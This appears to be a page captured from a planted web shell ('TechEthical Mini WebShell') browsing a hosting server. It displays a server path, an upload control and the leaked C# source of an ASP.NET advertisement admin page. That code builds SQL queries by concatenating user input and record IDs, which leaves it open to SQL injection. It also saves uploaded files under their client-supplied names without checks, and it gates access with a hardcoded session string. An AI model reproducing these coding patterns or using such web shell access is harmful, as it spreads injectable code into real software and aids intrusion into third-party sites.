TechEthical CEHP

Current Path : G:/PleskVhosts/megamind.net.in/careercentre360.com/admin/
Upload File :
Current File : G:/PleskVhosts/megamind.net.in/careercentre360.com/admin/advertisment.aspx.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

using Directory;
using System.Data;
using System.Data.SqlClient;


namespace Bathuasoft.admin
{
    public partial class advertisment : System.Web.UI.Page
    {
        public System.Data.DataTable dt = new System.Data.DataTable();
        public System.Data.SqlClient.SqlDataAdapter SqlAdapter = new SqlDataAdapter();
        public string ImagePath = "";
        protected void Page_Load(object sender, EventArgs e)
        {
            connection_sql obj = new connection_sql();
            obj.MakeConnection();
            if (!IsPostBack)
            {
                if (Session["Loginxtr"].ToString() != "1254lkjhhfdgftfrdgf")
                {
                    Response.Redirect("login.aspx");
                }

                // PopulateDS();        // FILL DATASET WITH MASTER DATA.   
                GridFill();
            }

           
        }

       

        protected void btnMainImageFileUpload_Click(object sender, EventArgs e)
        {

            ////Path to save image in folder
            //string ImagePath = Server.MapPath("~/AdvImg/" + fuMainImageFileSelect.FileName);

            //fuMainImageFileSelect.PostedFile.SaveAs(ImagePath);

            ////path for database

            //string dbpath = "~/AdvImg/" + fuMainImageFileSelect.FileName;



        }







        protected void butSubmit_Click(object sender, EventArgs e)
        {

            //░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
            
            connection_sql obj = new connection_sql();
            if (butSubmit.Text == "Save")
            {
                
                if(txtname.Text.Trim() == "" || txtBox1.Text.Trim() == "" || fuMainImageFileSelect.FileName == "")
                {
                    ScriptManager.RegisterStartupScript(this, GetType(), "set", "alert('Please Fill Name, Link & Image Path.');", true);
                }
                else
                { 
                    //var rand = new Random();
                    string PicPath = "";
                    string ImagePath = Server.MapPath("~/AdvImg/" + fuMainImageFileSelect.FileName);

                    fuMainImageFileSelect.PostedFile.SaveAs(ImagePath);

                   
                    obj.MakeConnection();
                    int n = 0;
                    if (fuMainImageFileSelect.HasFile == true)
                    {
                        PicPath = fuMainImageFileSelect.FileName;
                    }

                    string qry = "insert into adds(name,imagepath,link,date,status,description)values('" +
                        txtname.Text + "','" + PicPath + "','" + txtBox1.Text + "','" 
                        + Convert.ToDateTime(txtdate.Text.Trim()).ToString("MM/dd/yyyy") 
                        + "','" + cmbstatus.SelectedValue + "','" + txtDescription.Text + "')";
                    SqlCommand cmd = new SqlCommand(qry, obj.conn);                                                                                   //here txtBox1 for Link

                    n = cmd.ExecuteNonQuery();
                    obj.CloseConnection();
                    if (n == 1)
                    {
                        ScriptManager.RegisterStartupScript(this, GetType(), "set", "alert('Save Successfully...');", true);
                    }

                    GridFill();
                }
                
            }
            else if (butSubmit.Text == "Update")
            {

                string PicPath = "";
                string ImagePath = Server.MapPath("~/AdvImg/" + fuMainImageFileSelect.FileName);

                fuMainImageFileSelect.PostedFile.SaveAs(ImagePath);
                                
                int n = 0;
                if (fuMainImageFileSelect.HasFile == true)
                {
                    PicPath = fuMainImageFileSelect.FileName;
                    txtImagepath.Text = PicPath;
                }

                obj.MakeConnection();
                string qry = " Update adds set name='" + txtname.Text + "', imagepath='" + txtImagepath.Text + "' " +
                                ",link ='" + txtBox1.Text + "', date = '" + txtdate.Text + "'" +
                                ", Status ='" + cmbstatus.SelectedValue + "', description = '" +
                                txtDescription.Text + "'  WHERE ID= '" + ViewState["ID"] + "' ";
                SqlCommand cmd = new SqlCommand(qry, obj.conn);
                cmd.ExecuteNonQuery();
                obj.CloseConnection();
                GridFill();
                butSubmit.Text = "Save";
                txtname.Text = "";
                txtImagepath.Text = "";
                txtBox1.Text = "";
                txtdate.Text = "";
                cmbstatus.SelectedValue = "";
                txtDescription.Text = "";
                ScriptManager.RegisterStartupScript(this, GetType(), "set", "alert('Update Successfully');", true);
                GridFill();
            }
        }

        //░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

        

        private void GridFill()
        {
            //dt.Clear();
            connection_sql obj = new connection_sql();
            obj.MakeConnection();
            SqlCommand cmd = new SqlCommand("Select * from  adds", obj.conn);
            SqlDataAdapter da = new SqlDataAdapter(cmd);
            DataTable dt = new DataTable();
            da.Fill(dt);
            GridView.DataSource = dt;
            GridView.DataBind();
            obj.CloseConnection();
        }
        

        protected void GridView_RowCommand(object sender, GridViewCommandEventArgs e)
        {
            if (e.CommandName == "Dlt")
            {
                connection_sql obj = new connection_sql();
                obj.MakeConnection();
                SqlCommand cmd = new SqlCommand("DELETE FROM adds WHERE ID='" + e.CommandArgument + "' ", obj.conn);
                cmd.ExecuteNonQuery();
                obj.CloseConnection();
                GridFill();
                ScriptManager.RegisterStartupScript(this, GetType(), "set", "alert('Delete Successfully');", true);

            }
            else if (e.CommandName == "Edt")
            {
                connection_sql obj = new connection_sql();
                obj.MakeConnection();
                SqlCommand cmd = new SqlCommand("Select * FROM adds WHERE ID='" + e.CommandArgument + "' ", obj.conn);
                SqlDataAdapter da = new SqlDataAdapter(cmd);
                DataTable dt = new DataTable();
                da.Fill(dt);
                obj.CloseConnection();

                butSubmit.Text = "Update";
                ViewState["ID"] = e.CommandArgument;
                txtname.Text = dt.Rows[0]["name"].ToString();
                txtImagepath.Text = dt.Rows[0]["Imagepath"].ToString();
                txtBox1.Text = dt.Rows[0]["Link"].ToString();
                txtdate.Text =dt.Rows[0]["Date"].ToString();
                cmbstatus.SelectedValue = dt.Rows[0]["status"].ToString();
                txtDescription.Text = dt.Rows[0]["description"].ToString();
                
            }
        }
    }
}
                 
	

TechEthical Mini WebShell Version 1.0, Coded By The_M@T3